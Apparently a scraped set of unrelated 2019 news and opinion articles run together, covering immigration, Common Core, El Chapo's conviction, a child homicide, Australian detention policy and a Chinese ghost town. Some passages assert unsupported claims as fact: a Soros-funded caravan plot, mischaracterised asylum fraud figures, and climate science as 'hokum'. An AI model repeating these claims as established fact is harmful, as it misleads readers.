Mr. Jekielek: Theres also a provision when it comes to family units; from what I understand, there were record numbers of family units coming across the border in 2018. And there is also a provision that the authorities cant detain children and families for more than 20 days during, lets say, an asylum application. That makes it difficult to actually adjudicate whether these people deserve asylum or not, and then theyre let into the country. But only a very small number of these asylum claims, something like 9 percent, are actually deemed as worthy. How does that work?

Ms. Powell: Lawyers are going south of the border and encouraging people to make these asylum claims. Theyre giving them the key words to use to trigger the asylum provisions, when theyre completely fraudulent claims. And that kicks in the protections of the statute, which is too overly broad in the first place. As I said, Attorney General Sessions was trying to put some constraints on that. Thats been shot downwrongly. But weve just got to go back to tightening up those provisions because, as you said, more than 90 percent of the asylum claims are fraudulent. And those arent being prosecuted either. Now, in Robert Muellers investigation, any kind of false statement to anybody is being prosecuted as a federal felony. All of these thousands and thousands, tens of thousands, of fraudulent asylum claims are the same kind of false statement that supposedly Roger Stone made, and none of them are being prosecuted.

Ms. Jekielek: You mentioned a judge blocking the attempt that Jeff Sessions made, rolling back the protections and so forth. From what I understand, just in President Trumps first year of office, over 20 nationwide injunctions from what people are calling activist judges and so forth. And many of them relate to immigration policies. To frame that, in the past, it was about 2.5 of these per year on average, in previous administrations. Whats your opinion of these injunctions?

Ms. Powell: Its all part of the resist movement. The Left has just gone ballistic in filing and using the court system against this president in every way, shape, or form. And theyve gone forum shopping to get these judges to make these rulings. The national injunction is unprecedented prior to the past few years. There should be no such thing as a national injunction. It makes no sense. Justice Thomas wrote a concurring decision, I think, in one of the recent cases talking about that. It takes away the authority of the other circuit and district courts, and a district judges jurisdiction doesnt extend beyond his own district. So how they are making these national edicts, as I said on another show, theyre not kings. You know, if they could make a ruling for the entire nation, theyd be called kings. And theyre not. So that weve just got to stop that too; the Department of Justice can do a lot more on fighting that.

Mr. Jekielek: I dont understand, and I think many of our viewers wont understand. Lets say that a regional judge makes a national ruling. How does that prevent the executive order which the judge ruled against from actually still being in effect?

Ms. Powell: Well, they just enter an order that says this applies across the country. But if I were the executive or in the Department of Justice, I would say Im not applying this beyond your district. And I would let it be litigated in other districts, because one of the things that happens before the Supreme Court takes the case is you have whats called a split in the circuits, because cases go up in other circuits. Often, other circuits decide things in different ways. Usually, the Supreme Court wont even take a case until theres whats called a deep split in the circuitslike when several circuit courts have ruled one way on it and several other circuit courts have ruled the other way. Then, the Supreme Court will decide it. But the way these national edicts worked by these king judges, there would never be a split in the circuits, because one judge decides something for the whole country. One district judge, the lowest-level federal judge there is. Its absurd.

Mr. Jekielek: Lets call it a battle around immigration reform and border security; its actually shifting into the Judiciary. What do you expect to see in 2019?

Ms. Powell: More of the same. Just resist, resist, resist, which is not a healthy way for the country to function at all. The president was vested with these powers for a reason. Courts cannot decide immigration policy. Theres a provision in the United States code that gives the president the absolute authority to stop all immigration, if thats what he decides is in the national interest. He can do that. In fact, Ive done an article in The Daily Caller called The President Has the Power to Stop All Immigration. Invaders, immigrantshe can stop it all. And I would encourage him to use that authority and do it until we get the whole thing sorted out.

Mr. Jekielek: Theres a number of caravans as weve been hearing in the news coming up to America right now. Weve discussed a number of different areas, but what do you think is the major contributing factor to the formation of these caravans and this repeated method?

Ms. Powell: Theyre obviously an organized and funded effort. Theyre being given buses to come here. There are food trucks and supplies along the way. Its probably Mr. Soros and his assorted organizations funding it, [with] Alinsky-type tactics to overrun and tax all of our resources. And the real problem that people dont understand is, that while Border Patrol resources are being diverted to take, literally take care of children and get them to hospitals and make sure theyre being taken care of as best we can, they are either Trojan horses or diversionary tactics, and real problems are coming in where people are not looking.

Mr. Jekielek: So youre saying the illegals, the criminals, are basically using people that want to come across as immigrants as a diversion?

Ms. Powell: Yes, diversions and Trojan horses.

Mr. Jekielek: How does the Trojan horse come in?

Ms. Powell: Well, for one thing, people smuggle drugs in their bodies. But people dont realize that. Oftentimes, the drug cartels are so evil they will make people swallow drugs in balloons, and then get them out on the other side. There also have been cases where drugs have been implanted in peoples bodies surgically and then removed on the other side. I mean there are all kinds of manners and means of using people as human mulesthey call themto bring drugs in knowingly or unknowingly. And oftentimes, the cartels will hold one of their family members hostage or something on the other side of the border until they get the drugs on this side and then the cycle just repeats.

Mr. Jekielek: What can the Supreme Court do in this sort of situation? There is a number of these cases coming up through the court system. Presumably, theyll all eventually get to the Supreme Court. Can we expect to see that in 2019? And some rulings from that level?

Ms. Powell: I would hope so. I would hope the Supreme Court recognizes the power of the president and the attorney general to deal with these issues under the laws as written. Because thats what it is. Thats the way its written.

Mr. Jekielek: Its very startling in a sense to hear all this framed this way. Theres also a backlog of something like 800,000 cases in the immigration system, as we speak, which is really weighing down the system.

Ms. Powell: Thats why I think the president should simply stop absolutely all immigration except for the non-immigrant visas. There are multiple different kinds of immigration. There are immigrant visas, where people are actually going to come here and stay. And there are non-immigrant visas for students and also for people that are going to come here and work for a little bit and go back or whatever. So there are different kinds of visas but all immigration should be stopped, I believe, until we get all of this sorted out: the backlog gone, the fence built, a rational and reasonable immigration system in place. And that would give the backlog time to clear, time for new laws to be in place, so that we can have some sort of reasoned basis for pursuing a continuing immigration policy. Because right now, its [a mess].

Mr. Jekielek: How long would something like this take to actually sort things out?

Ms. Powell: Well, if everything were absolutely stopped, I think it would get done sooner rather than later. I think that would be a big incentive for the Democrats to come to the table and fix it.

Mr. Jekielek: This is one of the things that you dont often hearthe president is obviously is very pro-immigrationjust the right kind.

Ms. Powell: Right, and most of America is. I mean we love our lawful immigrants; they have contributed enormously to our society. Most of us wouldnt be here at all were it not for lawful immigrants.

Mr. Jekielek: Is there any anything else you think is important to share about this issue?

Ms. Powell: Just to encourage and support the president in his efforts to straighten all of this out. Sometimes I feel like he is just so alone in his efforts to get it all worked out and to get the wall built and do what he knows needs to be done to protect the country. Its a matter of national securityit truly is. I cant emphasize that strongly enough. People do not realize what all is and can come across that border whenever it wants to. I mean were that far away from having suicide bombers in this country. Its simply a miracle that we havent had any already.

Mr. Jekielek: Its a testament to the hard work of law enforcement.

Ms. Powell: It isto Immigration and Customs Enforcement and to our Border Patrol and to Homeland Security.

This interview has been edited for clarity and brevity.

American Thought Leaders is a new Epoch Times show available on Facebook and Youtube.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.Florida Governor Plans Rollback of Common Core

A sweeping executive order recently issued by Florida Gov. Ron DeSantis aims to remove the vestiges of the politically unpopular Common Core standards that remain in the states taxpayer-funded school system.

Past polling suggests Americans nationwide are skepticaland, in many cases, hostileto Common Core, but the program, aimed at applying uniform standards for measuring academic progress across the country, remains in effect across most of the United States.

In 2014, at the request of Republican Gov. Rick Scott, the Florida Board of Education changed some aspects of Common Core in the state but left what critics called vestiges of it in place. Among those remnants is a system of standardized testing that has received broad, bipartisan criticism from state lawmakers and teachers.

DeSantis, also a Republican, said one of the issues voters frequently asked him to deal with during his gubernatorial campaign was their aggravation with Common Core academic standards, particularly the programs confusing mathematics requirements and its standardized testing regime.

Im here to say, when you complained about Common Core, I hear you. I told you Id do something about it, and today we are acting to bring those promises into a reality, DeSantis said at a Jan. 31 press conference.

The governor said an executive order would direct Education Commissioner Richard Corcoran, a critic of the program, to come up with recommendations to be presented to the state legislature next year.

Corcoran will develop ideas to streamline some of the testing and identify ways to really make civics education a priority in Florida, DeSantis said.

At the same presser, Corcoran lamented that Florida has been stuck with Common Core, which he said needs to be scrutinized.

Campaign Promise

In an interview with The Epoch Times, Florida Stop Common Core Coalition Executive Director Karen Effrem said her group supports the governors move.

Were thrilled and thankful that hes willing to do this right out of the gate after being elected, Effrem said.

It isnt common to have such a strong response to a campaign promise. We believe that his intention is sincere and look forward to helping him make real, substantive changes to the academically inferior, developmentally inappropriate, and psychologically manipulative Common Core in Florida.

The greatest danger here is Gov. DeSantis being sabotaged by the corporate and political establishment around him.

Common Core retains a strong foothold in state educational systems, and efforts at reforms have sometimes been shams, Effrem said.

Originally, 45 states were part of Common Core. Four statesArizona, Missouri, South Carolina, and Indianasaid they were pulling out, but really, they just rebranded. Even Jeb Bush said the [previous] Florida Common Core changes were not substantial and Commissioner Corcoran acknowledged the rebrand, she said.

When Jeb Bush was governor from 1999 to 2007, he was an ardent defender of the program, but in 2015, he acknowledged that it was unpopular. Although he continued to support the program, the phrase Common Core has become poisonous politically, he said.

The Common Core State Standards, as they are called, have long been criticized by parents who complain they dumb down educational standards and apply a one-size-fits-all approach that ignores local needs and unwisely centralizes education decision-making in the federal government. They also say Common Core doesnt properly prepare students for college.

Critics say the programs standardized testing does not help students and that it imposes academically inferior standards that hobble students trying to pursue careers in STEM (science, technology, engineering, and mathematics) fields.

They also complain about a move away from the use of textbooks to the use of technology that cant be observed by parents interested in how their children are being educated.

Education Establishment

But Common Core is championed by much of the national education establishment. The Common Core State Standards spell out what its architects believe kindergarten through Grade 12 students throughout the nation should know in English and mathematics upon completing each school grade.

Its proponents assert that Common Core was needed because American students academic progress has stagnated, and that the country has lost ground to other countries, particularly in subjects such as mathematics.

One root cause has been an uneven patchwork of academic standards that vary from state to state and do not agree on what students should know and be able to do at each grade level, says a website set up by Council of Chief State School Officers (CCSSO) and the National Governors Association Center for Best Practices to promote the program.

Common Core created a set of high-quality academic standards in mathematics and English language arts/literacy  to ensure that all students graduate from high school with the skills and knowledge necessary to succeed in college, career, and life, regardless of where they live, the site states. Forty-one states, the District of Columbia, four territories, and the Department of Defense Education Activity (DoDEA) have voluntarily adopted and are moving forward with the Common Core.

The U.S. Chamber of Commerce strongly supports the program. In 2014, the organizations president, Tom Donohue, said Common Core was needed to combat the severe educational and skills gap we face as a country.

Restoring Civics Education

However, education analyst Ted Rebarber of AccountabilityWorks recently told Breitbart News that Common Core has been the worst large-scale educational failure in 40 years

I hope Gov. DeSantis not only gets rid of Common Core, but also puts a lot of thought into what replaces it, he said. The heavy state regulation of local curriculum that preceded Common Core also didnt work particularly well.

Although teachers unions and Republicans generally dont see eye-to-eye on much, the powerful Florida Education Association supports what DeSantis is doing.

FEA President Fedrick Ingram said his organization was pleased to hear that the administration will look at streamlining testing.

Parents and our members cite time spent on testingas versus on genuine teaching and learningas one of their top concerns, he said.

DeSantis detailed what will be done over the coming year.

In Executive Order 19-32, the governor has ordered Corcoran to comprehensively review Floridas Kindergarten through grade twelve academic standards and provide recommended revisions by Jan. 1, 2020.

The order requires Corcoran to advise on the elimination of the program in Florida and a return to the basics of reading, writing and arithmetic. It also requires Corcoran to provide recommendations to increase the quality of instructional curriculum and to suggest innovative ways to streamline testing.

DeSantiss order also laid the groundwork for the return of traditional civics education. It asks Corcoran to identify opportunities to equip high school graduates with sufficient knowledge of Americas civics, particularly the principles reflected in the United States Constitution, so as to be capable of discharging the responsibilities associated with American citizenship.Onelio Hipolit-Gonzalez, 73, was arrested and charged with unlicensed practice of a healthcare professional and unlawful use of a two-way communication device. (Hernando County Sheriffs Office)

Fake Doctor Claimed to Have Cure for Diabetes, Had Patient Hold Metal Rod: Police

A man practicing healthcare without a license who promised that he had a cure for diabetes and other maladies was recently taken into custody in Florida.

A joint investigation was launched into Onelio Hipolit-Gonzalez, 73, after he advertised his services on a website aimed at the Hispanic community called Elclassificado.

The fake doctor said in the ad that he could cure diabetes, cancer, and vision problems. The classified included a picture of Hipolit-Gonzalez earing a white coat with the caption Dr. Onelio Hipolit.

An undercover detective posing as a patient responded to the ad and went in to see him at a house in Brooksville, which Hipolit-Gonzalez said his friends let him use as a doctors office.

After arriving, the patient was given a clipboard and asked to complete papers and pay $160, according to the Hernando County Sheriffs Office.

Hipolit-Gonzalez put a band around the mans head that was connected to a machine while having him hold a metal rod that was also connected to the machine. The fake doctor told the fake patient that the machine was testing his heart, brain, intestines, bones, nerves, and everything else.

After the machine was done, Hipolit-Gonzalez told the detective that his cholesterol was on the way to being high and that he wasnt getting enough oxygen to his brain.

He also said that he had 50 percent fat in his liver and that his gallbladder was not in good health.

Thats when the detective told Hipolit-Gonzalez that he had diabetes and osteoporosis. Hipolit-Gonzalez informed him that he had previously cured a friend of diabetes and that he could cure the patient for $2,000. The treatment involved injecting his own blood into the patient, Hipolit-Gonzalez told the patient.

Detectives then entered the home and arrested the alleged doctor.

Under questioning, Hipolit-Gonzalez said he didnt know he needed a license to practice medicine and that he used to be a lab technician in Cuba. He said the diabetes cure involves drawing the patients blood, not his blood, and injecting the same blood back into them and that the process combats blood cells and boosts the immune system when re-entering the body.

He also said that the machine he used doesnt require schooling to use and the user only needed to read the operating manual.

Also, men needed to hold the rod in their left hand, women, in their right. Hipolit-Gonzalez stated that the machine diagnoses the patient and that he believes it is very accurate, and that it will detect everything,' the sheriffs office added.

Hipolit-Gonzalez was arrested for unlicensed practice of a healthcare professional and unlawful use of a two-way communication device.

Denise Moloney, a spokesperson for the Hernando County Sheriffs Office, described the case as very unusual.

Basically hes taking peoples money and telling them hes going to cure them, she told WFLA. First time Ive heard of something like this.

Anyone who was treated by Hipolit-Gonzalez was asked to contact the Hernando County Sheriffs Office Vice and Narcotics Unit at 352-754-6830.

From NTD NewsEl Chapos Beauty Queen Wife All Smiles After Drug Lord Found Guilty

Joaquin El Chapo Guzman, once the most powerful drug lord in the world, was convicted in federal court in New York City on all counts on Feb. 11.

A Brooklyn jury found Guzman, former head of the notorious Sinaloa cartel, guilty of operating a continuing criminal enterprise and various charges of conspiracy to import and distribute cocaine, heroin, and marijuana on an industrial scale, The Associated Press reported.

U.S. Attorney for Eastern District of New York, Richard Donoghue, was cited by Reuters as saying, In sum, the jury found that Guzman led the Sinaloa Cartel, one of the largest and most dangerous drug cartels in the world, and that he is responsible for violence, including murders, and the smuggling of massive amounts of narcotics into the United States over a period of decades.

Guzman faces up to life in prison, and his sentencing date is June 25.

This conviction, we expect, will bring a sentence of life without the possibility of parole, Donoghue said. It Is a sentence from which there is no escape and no return. This conviction is a victory for the American people, who have suffered so long and so much, while Guzman made billions pouring poison over our southern border.

El Chapos Wife Reacts

The infamous drug dealers 29-year-old, ex-beauty queen wife, Emma Coronel Aispuro, was on hand at the courtroom to watch the jury hand down its guilty verdict.

Guzman showed no emotion as the verdict was read out, but afterwards, Daily Mail reported, he turned to look at his wife and blew her a kiss.

When the jury left the room, Guzman and Aispuro put their hands to their hearts and gave each other the thumbs up sign.

His wife shed tears.

Aispuro left the courthouse after the verdict, surrounded by media, appearing upbeat.

Mexican cartel kingpin El Chapo's beauty queen wife, 29, is all SMILES as she leaves court after the 61-year-old is found GUILTY on all charges in drug trafficking trial  after first welling up with tears and giving him the thumbs up pic.twitter.com/gePwjnvZAP   (@riyadoro) February 13, 2019

She was surrounded by security as she made her way to a waiting vehicle.

The former beauty queen and Guzman have been married since she was 18.

Alongside her infamous husband, she too has been the focus of intense media scrutiny.

Aispuro had earlier given an interview in which she portrayed Guzman as a loving father to their twin daughters.

Journalist Anabel Hernandez, who spoke with Aispuro on behalf of Telemundo News was cited by NBC as saying that Aispuro was a forthcoming interviewee.

I asked her what she says to people that consider that El Chapo Guzman is a dangerous criminal, and she says that to her, Joaquin Guzman is just her husband, not El Chapo,' Hernandez said.

Throughout the trial, Aispuro posted inspirational quotes on social media about love and loyalty, but Daily Mail reported that after the guilty verdict was returned, she deleted her Instagram account.

Guzman the Escape Artist

Guzman, 61, previously broke out of two maximum-security Mexican prisons before he was captured and extradited to the United States.

He is now likely headed to a supermax prison where repeating his past escapes would be nearly impossible.

No one has broken out of Administrative Maximum Facility (ADX) in Florence, Colorado, since it opened in 1994 to house the most dangerous inmates in the U.S. prison system.

ADX is the kind of prison that was designed for a high-profile inmate like El Chapo, Larry Levine, a former federal inmate who is the director and founder of Wall Street Prison Consultants, told Reuters in a phone interview.

The prison, nicknamed Alcatraz of the Rockies, has special restrictions in place, designed to ensure some inmates have no means of exerting influence or threats beyond prison walls. This is useful for U.S. authorities to control those with sway over militant groups or criminal enterprises.

ADX Florence inmates are held in specially designed control units that function as prisons within prisons.

Its like a self-contained area within a self-contained area within a self-contained area, Levine said.

I Will Reserve

In the trial, which lasted several months, prosecutors used more than 50 witnesses to detail Guzmans involvement in making billions of dollars distributing drugs in the United States. According to the New York Post, which dedicated reporters to cover his trial, 14 former associates were called to testify against him.

Guzman spoke in the courtroom only once during the trial, saying he wouldnt testify in his own defense, NBC News reported.

Senor judge, me and my attorneys have spoken about this, Guzman stated. And I will reserve.

Convicted on all Counts

He was convicted on all 10 charges: engaging in a continuing criminal enterprise; international cocaine, heroin, methamphetamine and marijuana manufacture, and distribution conspiracy; two counts of cocaine importation conspiracy; four counts of international distribution of cocaine; use of firearms; and conspiracy to launder narcotics proceeds.

Guzmans lawyers have released a statement to say they plan to appeal the conviction and that despite the guilty finding, he was upbeat.

Reuters contributed to this report.Swedish youth climate activist Greta Thunberg (C) holds a placard next to students during a "School strike for climate" held on the sidelines of the World Economic Forum (WEF) annual meeting, on January 25, 2019 in Davos, eastern Switzerland. FABRICE COFFRINI/AFP/Getty Images

Educational Malpractice on a Massive Scale: The Exploitation and Indoctrination of Children

Commentary

During the World Economic Forum conclave in Davos, Switzerland, at the end of January, more than 60,000 students around the world boycotted their classes to urge world leaders to do more about climate change, according to a report from British newspaper The Guardian.

While teenagers demonstrating peacefully may seem innocuous, if you look beneath the surface, the view is disturbing, scandalous, and ugly.

I commend kids for caring about their world. And I strongly believe there are times when children can teach their elders valuable lessons. Not only can they teach us beautiful lessons of kindness and forgiveness, they can also teach us practical knowledge that we lack. Think about how many adults turn to youngsters for help handling their digital devices.

What is so ominous about the kids climate protests is the cynical way in which their elders have exploited them. The kids acted in good faith on the basis of what adultsparticularly their schoolteachershave taught them about climate change. These caring young people have been taught (actually, mistaught) the simplistic and fallacious dogmas of politicized climate change sciencethat CO2 is the grand regulator of global temperatures and that, in the reckless words of Rep. Alexandria Ocasio-Cortez, the world is going to end in 12 years if we dont address climate change.

Ive repeatedly rebutted the assertions of the climate-change narrative of the global political elite (such as here, here, here, here, here, and here), but the reality of these recent (and upcoming) student protests is how those poor kids have been duped and exploited by their schools. What business do the teachers of the world have in teaching wildly speculative theories as fact, and influencing students to become activists in a particular ideological and political movement?

Indoctrination

My colleagues and I have lamented that the students coming into our college classrooms have had increasingly poor writing skills over the past few decades. One reason for this is that students are being taught climate-change hokum instead of the basic skills that would serve them so well in their adult careers. Education should teach youngsters how to think rather than indoctrinate them into what to think.

And what are these youthful climate-change protesters really protesting? Look at what the 16-year-old Swedish girl who started the strike movement said: Some peoplesome companies and some decision-makers in particularhave known exactly what priceless values they are sacrificing to continue making unimaginable amounts of money.  I want to challenge them into real and bold climate action, to set their economic goals aside and to safeguard the future living conditions for humankind. I ask you to stand on the right side of history.

The anti-capitalist bias in these words is obvious. What she is really protesting isnt global warming, about which humans can do so little, its markets and profitsin short, capitalism. And this goop about the right side of history is pure Marxist claptrap.

The educational malpractice of indoctrinating children into being climate-change warriors (a variation of the Hitler Youth) has been deliberate. Indeed, it has been an elaborate, thoroughly thought-out strategy of the left for decades. Progressives, socialists, and communists, have never been shy about expressing their intention to use schools for indoctrination.

Marxs 10th point in his 10-point platform for how to achieve socialism by the democratic route was for the state to control the schools.

The late Italian Marxist Antonio Gramsci wrote, Socialism will triumph by first capturing the culture via infiltration of schools, universities, churches, and the media by transforming the consciousness of society.

UNESCO, the U.N. bureaucracy that focuses on children, wrote in its book called Education for Sustainable Development Toolkit that Children are the key to changing societys long-term attitudes to the environment.

The same blatant propaganda campaign has infiltrated many of Americas public schools. In 1990, President George H.W. Bush signed the National Environmental Education Act, which put the green foxes in the Environmental Protection Agency (EPA) in charge of guarding the chicken coops of our public schools, by clearing green educational materials through an Office for Environmental Education.

A report in Education Week in 2011 noted that students in Maryland had to demonstrate that they had learned the mandatory green curriculum in order to graduate. Another 2014 report found that global warming is being taught in almost every area of the [UK] curriculum.

As the reports authors write in their conclusion: The fact that childrens ability to pass their examsand hence, their future life prospectsappears to depend on being able to demonstrate their climate-change orthodoxy is painfully reminiscent of life in communist-era Eastern Europe or Maos China.

I mentioned Ocasio-Cortez above. She is young enough to have gone through her entire academic career subjected to green propaganda, so her alarmism shouldnt surprise us. Even where I lived in the hinterlands, the green curriculum has been in place for several decades.

Heres a personal story: In the late 1990s, I served for four years on a curriculum advisory committee for my local school district. I examined the environmental curriculum in detail and discovered numerous errors. When I provided corrections to the curriculum coordinator, she looked annoyed when she accepted my report and refused to make any changes in the curriculum.

Damage to Children, Families

As if the hijacking of education by ideologues to indoctrinate children isnt reprehensible enough, there are more troubling aspects to green indoctrination in schools. The first is the psychological damage inflicted on innocent children. Many have suffered from anxiety and depression due to the lurid descriptions included in many climate-change predictions. The second is the threat to families.

Part of the green message drummed into impressionable children is that it is up to them to teach their ignorant or obtuse parents the truth about climate change. Lenin once told the Soviet commissars of education in 1923: We must teach our children to hate their parents if they are not communists.

Well, the greens arent using the word hate, but they are suggesting to kids that their parents need to be corrected.

Al Gore told children a decade ago that while their parents undoubtedly mean well, they dont have access to the latest scientific information that the students will be given in school. In other words, believe schools, and not your parents, if they doubt the alarmist scenario.

How fiendish and cruel! Teachers are putting children in a position where they have to choose between respecting and trusting their parents or respecting and trusting their teachers. The teachers have the advantage, because they have been pushing the same green message for years. I wonder how many young Americans are going to be alienated to various degrees from their parents because of disagreements about climate change.

For schools to take a side on controversial issues (besides being a departure from the correct purpose of school) is unfair to families. And picture what it must be like for those youngsters who realize at some point how they have been systematically deceived by their teachers: Can you imagine how hurt and betrayed they are going to feel?

Teaching the green agenda of climate alarmism in schools is child abuse. Its diabolical, wrong, and un-American. It must be stopped.

Mark Hendrickson is an adjunct professor of economics at Grove City College. He is the author of several books including The Big Picture: The Science, Politics, and Economics of Climate Change.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.Autopsy: Hania Aguilars Likely Cause of Death Revealed

An autopsy of missing North Carolina teen Hania Aguilar said the teen most likely died from suffocation, according to reports on Feb. 13.

The autopsy report was released to the public this week.

In the report, the medical examiner said the autopsy was unable to determine the exact cause of death, reported ABC11.

But due to the circumstances surrounding her death and evidence, the examiners office determined the teens means of death was most likely a form of asphyxia.

Due in part to limitations imposed by decomposition, the autopsy did not elucidate a specific mechanism of death, the autopsy report stated, reported WWAY. However, the totality of the circumstances and findings  indicate death by homicidal violence.

The report said there was evidence consistent with that of a sexual assault.

JUST HEARTBREAKING: Hania's body had a "broken plastic table on top and black tire on top of table." Her body had minimal evidence of trauma but signs consistent with sexual abuse. Gepostet von WRAL TV am Mittwoch, 13. Februar 2019

The autopsy noted that she was found late last November in a body of water. The body had a broken plastic table on top and black tire on top of table, the report said, according to The Associated Press.

Aguilar was kidnapped on Nov. 5 from her familys home, sparking a large-scale search and rescue operation around Lumberton, North Carolina.

Days later, Michael Ray McLellan, 34, was arrested and charged with murder and sexual assault.

DISTURBING DETAILS: An autopsy report has been released on the death of 13-year-old Hania Aguilar, who police said was kidnapped from her front yard in Lumberton last year. Gepostet von WWAY TV am Mittwoch, 13. Februar 2019

Officials believe Aguilar was forced into the SUV and driven away, and the vehicle was later found several miles away.

We were going to the bus stop and she was like, bye take care, I love you, Joanna Delaluz, 14, said, reported WTVD. I gave her a hug.

I found out she got kidnapped and I never saw her again, said Madison Bullock, 15. She loved to talk with her friends and play on her phone, laugh, smile. We miss her smile.

The handling of evidence in a related case prompted an internal sheriffs office probe and the firing of two investigators, noted AP.

Former Robeson County District Attorney Johnson Britt has said that before Aguilars disappearance, DNA evidence linked McLellan to a 2016 rape. Britt said a DNA match from that rape was given to the sheriffs office, but deputies apparently didnt follow up before Aguilar was killed.

The sheriffs office announced in January that one investigator was fired and another had resigned after both were suspended due to the internal investigation.

Missing Children

There were 464,324 missing children reported in the FBIs National Crime Information Center in 2017, according to the National Center for Missing and Exploited Children.

Under federal law, when a child is reported missing to law enforcement they must be entered into the database. In 2016, there were 465,676 entries.

This number represents reports of missing children. That means if a child runs away multiple times in a year, each instance would be entered into NCIC separately and counted in the yearly total. Likewise, if an entry is withdrawn and amended or updated, that would also be reflected in the total, the center noted.

In 2017, the center said it assisted officers and families with the cases of more than 27,000 missing children. In those cases, 91 percent were endangered runaways, and 5 percent were family abductions.

About one in seven children reported missing to the center in 2017 were likely victims of child sex trafficking.

The Associated Press contributed to this report.Prime Minister Scott Morrison speaks to media during a press conference at Parliament House in Canberra, Australia, on Feb. 13, 2019. (Tracey Nearmy/Getty Images)

Australia to Reopen Christmas Island Detention Center After Defeat on Asylum Seeker Policy

SYDNEYAustralia will reopen a controversial detention center for asylum seekers, Prime Minister Scott Morrison said on Wednesday, Feb. 13, after an embarrassing defeat in parliament that allows migrants in offshore camps to receive medical care in the country.

The opposition Labor party and independents voted to amend hardline immigration laws to give doctors the right to temporarily transfer some 1,000 men and woman from two Pacific processing centers if they need medical treatment.

The amendment, approved by the Senate on Feb. 13, dealt a blow to the minority centre-right government.

Morrison, offering a preview of a campaign pitch likely to focus on immigration, said the change could bring a new wave of asylum seekers. As a precaution, the government announced it has reopened a detention center on Christmas Island, a territory some 1,550 km (960 miles) north-west of the mainland.

Christmas Island is open for business Says Australias

Prime Minister #auspol pic.twitter.com/jZYGkF3vaH  Terry Australis (@AustralisTerry) 13 februari 2019

We have approved putting in place the reopening of the Christmas Island detention facilities, both to deal with the prospect of arrivals as well as dealing with the prospect of transfers, Morrison told reporters in Canberra.

Previously, asylum seekers intercepted at sea and sent to offshore processing camps in Papua New Guinea (PNG) and Nauru were not allowed to set foot in Australia unless the government decided they need urgent care.

Immigration Minister David Coleman said on Feb. 10 the change could bring a return of the days when thousands of asylum-seekers traveled to Indonesia and then paid smugglers to take them on to Australia by boat.

Opponents accused the government of fear-mongering, saying that after an amendment, the new law only concerned only those already housed in the Pacific camps.

This legislation is confined to the current cohort of people on Manus Island and Nauru, said Kerryn Phelps, an independent lawmaker who championed the bill back in December 2018.

It does not provide any kind of attraction to people to leave where they are and to try to make the journey to Australia because they will not be considered as part of this legislation.

The Christmas Island detention facilitiesshuttered last year after 10 years in operationhas been a central scene in the outcome of previous national elections.

In 2001, Australias then conservative Prime Minister John Howard refused permission for a Norwegian ship carrying 433 rescued refugees to enter Australian waters.

Howard, who was trailing in the polls at the time, won re-election and held onto power until 2007. After he left office, the center-left Labor government began holding refugees on Christmas Island.

As a stream of new arrivals swelled already cramped conditions, protests broke out that fueled an image of a government that had lost control of national security, propelling the centre-right Coalition back to power in 2013.

Morrison is hoping to use the issue to win favor with disillusioned voters, said Peter Chen, a professor of political science at the University of Sydney.

Morrison will be happy to fight an election on this issue. He doesnt have a lot to campaign on but on this, he is on strong ground, he said.

By Colin PackhamThe Longtan Canal Town, built in the style of the "Dream of Red Mansions," in Chengdu City, Sichuan Province, China. (The Epoch Times)

Ancient Town Mimicking Scenery of Famous Chinese Novel Becomes Ghost City

The scenic village in the Southwestern Chinese city of Chengdu designed to replicate the buildings and streets depicted in the famous 18th century Chinese novel, Dream of Red Mansions, has failed to attract enough visitors despite local authorities spending nearly 2 billion yuan (roughly $295 million) to create the antique town.

Today, it is a ghost town.

According to a Feb. 11 report by Chinese news portal Sohu, the Longtan Canal Town, located inside the Chenghua district of Chengdu, covers an area of 36.3 acres. It was a megaproject that took four years to complete, opening to much fanfare in 2013.

The major components of the ancient town are three independent islands. Using the surrounding water sources, water was diverted into the project site to form a flowing lake, 39.4 feet wide and 4.3 feet deep. There are 23 southeastern-Chinese style mini bridges connecting the land with the islands.

The north gate at the entrance has exquisite designs and patterns carved onto its beams and rafters, however, no visitors are there to admire it. The front desk and seats inside the visitor center are covered with a thick layer of dust. Outside, near the pavillion, two boats floating on the waterway seem to have been deserted for a long time, as the sails are worn out, according to the Sohu reporter who visited the man-made town.

Except for a few retailers, most shops, also done in traditional 18th century design, are closed. Tables and seats for the street food stalls are abandoned on the street, broken and dusty.

A local elderly man who was taking a walk in the neighborhood told the reporter: I usually come here for a walk after lunch. It has been like this for almost five years now.

He noted that there is very little foot traffic during the day, and lamented that so much money had been spent on this under-utilized project.

A taxi driver who has lived in Chengdu for more than 20 years said that other than the unique architecture, the canal town doesnt have much else to offer, as the dessert and tea houses here are no different from those found in other parts of Chengdu. In addition, the prices here are higher.

The chair of the projects Development Management Committee, Li Wei, told Sohu that the original plan was more ambitious. It was aimed at building a new city that could accommodate 100,000 people who would work or live in the area. However, local officials changed the plan afterward and decided to turn it into a cultural tourism park.

But local retailers are now suffering due to the lack of business. Most of the surrounding areas is industrial plants, while the number of nearby residents is very little.

I have been waiting for 6 years! said a restaurant owner, who spent 1 million yuan (about $148,000) to renovate his restaurant at the beginning, and pays 20,000 yuan of rent every month. Right now I can barely make enough to cover my rent. I am anxious to see further developments here to make it a popular spot, he said.

Since the 1990s, many areas of China have started construction frenzy to build imitations of Western architectural styles such as those found in Rome, London, and Florence. But many have become deserted over time.

Chinese netizens expressed outrage at the news of the abandoned Chengdu town.

Someone made a hasty decision. Then 2 billion yuan is gone. Who will be held responsible for this?

Such projects all end up being a huge waste of taxpayers money, but they are still going on everywhere. In my hometown, local developers are also building a canal town, one wrote.

Lack of history and real culture, these imitations are just a waste of money, another wrote.The call for several decades has been the abolition of the executive presidency. Its as if the one and only problem this country has had is this office, its powers, functions and those who hold it. An all-powerful presidency that makes a mockery of the division of power among the executive, legislative and judicial arms of the state is certainly a problem. A serious problem, in fact. It needs to be addressed and dealt with. No argument there.

The problem with abolishing the executive presidency is that some who advocate it do not recognize the safeguards embedded in the relevant piece of legislation in the event a provincial council decides to move for separation. Indeed, even the inseparability that the likes of M.A. Sumanthiran of the Tamil National Alliance (TNA) wants to script into a new constitution (pernicious because its all just words as far as he is concerned and as he has admitted) is dubious, simply because it is attended by plans to dump the executive presidency.

Checks and balances are called for. Thats clear. The 19th Amendment was an exercise in constitutional tinkering driven by parochial political interests and not democratization. It pruned certain powers but if you had a president whose party enjoyed a parliamentary majority, that pruning would quickly be irrelevant.

